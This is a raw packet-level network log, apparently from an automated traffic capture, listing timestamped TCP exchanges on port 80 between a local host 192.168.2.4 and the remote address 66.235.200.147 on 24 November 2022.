Nov 24, 2022 13:27:53.242605925 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.242607117 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.242633104 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.242633104 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.242657900 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.242660999 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.242681980 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.242681980 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.242698908 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.242707968 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.242726088 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.242732048 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.242747068 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.242757082 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.242777109 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.242782116 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.242796898 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.242806911 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.242822886 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.242831945 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.242845058 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.242856026 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.242873907 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.242902040 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.242922068 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.242947102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.242964029 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.242971897 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.242985010 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.242997885 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243011951 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243025064 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243037939 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243051052 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243063927 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243079901 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243092060 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243107080 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243129015 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243134022 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243148088 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243159056 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243174076 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243185043 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243200064 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243211985 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243227005 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243237972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243264914 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243266106 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243282080 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243293047 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243315935 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243319035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243338108 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243346930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243365049 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243374109 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243390083 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243400097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243413925 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243424892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243439913 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243451118 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243469000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243475914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243490934 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243500948 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243525982 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243529081 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243537903 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243555069 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243571997 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243578911 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243598938 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243604898 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243617058 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243628979 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243644953 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243653059 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243669033 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243675947 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243690014 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243699074 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243714094 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243741989 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243757010 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243781090 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243797064 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243803978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243818998 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243825912 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243840933 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243849993 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243868113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243886948 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243906021 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243930101 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243935108 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243952990 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.243966103 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.243978024 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244010925 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244026899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244045973 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244052887 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244077921 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244081974 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244102001 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244102001 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244128942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244149923 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244153976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244179964 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244182110 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244204998 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244208097 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244229078 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244231939 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244252920 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244257927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244271040 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244282961 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244304895 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244308949 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244322062 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244334936 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244350910 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244359016 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244371891 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244381905 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244398117 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244405985 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244420052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244431019 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244441986 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244455099 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244467020 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244478941 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244492054 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244504929 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244515896 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244529963 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244543076 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244554996 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244566917 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244579077 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244596004 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244602919 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244616032 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244626999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244641066 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244651079 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244664907 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244677067 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244692087 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244702101 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244714975 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244728088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244744062 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244750977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244776964 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244781017 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244801044 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244803905 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244826078 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244827032 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244842052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244852066 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244867086 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244878054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244895935 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244903088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244918108 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244927883 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244940996 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244952917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244966030 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.244976997 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.244992971 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245001078 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245014906 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245038986 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245102882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245131969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245148897 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245157957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245177031 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245183945 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245196104 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245209932 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245233059 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245234966 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245251894 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245260954 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245277882 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245285988 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245304108 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245309114 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245322943 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245332956 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245349884 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245356083 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245377064 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245381117 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245395899 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245404959 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245420933 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245428085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245445967 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245451927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245476007 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245477915 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245500088 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245503902 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245521069 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245531082 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245553970 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245558023 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245572090 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245583057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245599985 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245608091 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245621920 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245631933 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245646000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245657921 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245671034 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245682955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245698929 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245708942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245737076 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245738029 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245760918 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245760918 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245786905 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245788097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245814085 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245835066 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245836973 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245863914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245877981 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245899916 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.245943069 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245966911 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.245982885 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246009111 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246032000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246033907 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246054888 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246059895 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246079922 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246084929 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246098042 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246110916 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246128082 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246134043 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246156931 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246159077 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246172905 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246181965 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246203899 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246206999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246223927 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246232033 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246248007 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246258974 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246283054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246283054 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246299028 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246305943 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246325016 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246330976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246346951 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246355057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246377945 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246380091 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246400118 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246419907 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246443033 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246444941 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246469975 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246476889 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246494055 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246507883 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246516943 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246539116 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246543884 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246568918 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246586084 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246592999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246596098 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246617079 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246619940 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246640921 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246644974 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246670961 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246694088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246716022 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246738911 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246761084 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246782064 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246807098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246829033 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246851921 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246896982 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246896982 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246896982 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246896982 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246896982 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246896982 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246896982 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246896982 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246936083 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.246962070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246987104 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.246998072 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247010946 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247034073 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247051954 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247075081 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247102022 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247112036 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247126102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247140884 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247153997 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247165918 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247180939 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247194052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247205019 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247221947 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247257948 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247334957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247359037 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247381926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247386932 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247407913 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247416973 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247416973 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247435093 CET	80	49702	66.235.200.147	192.168.2.4
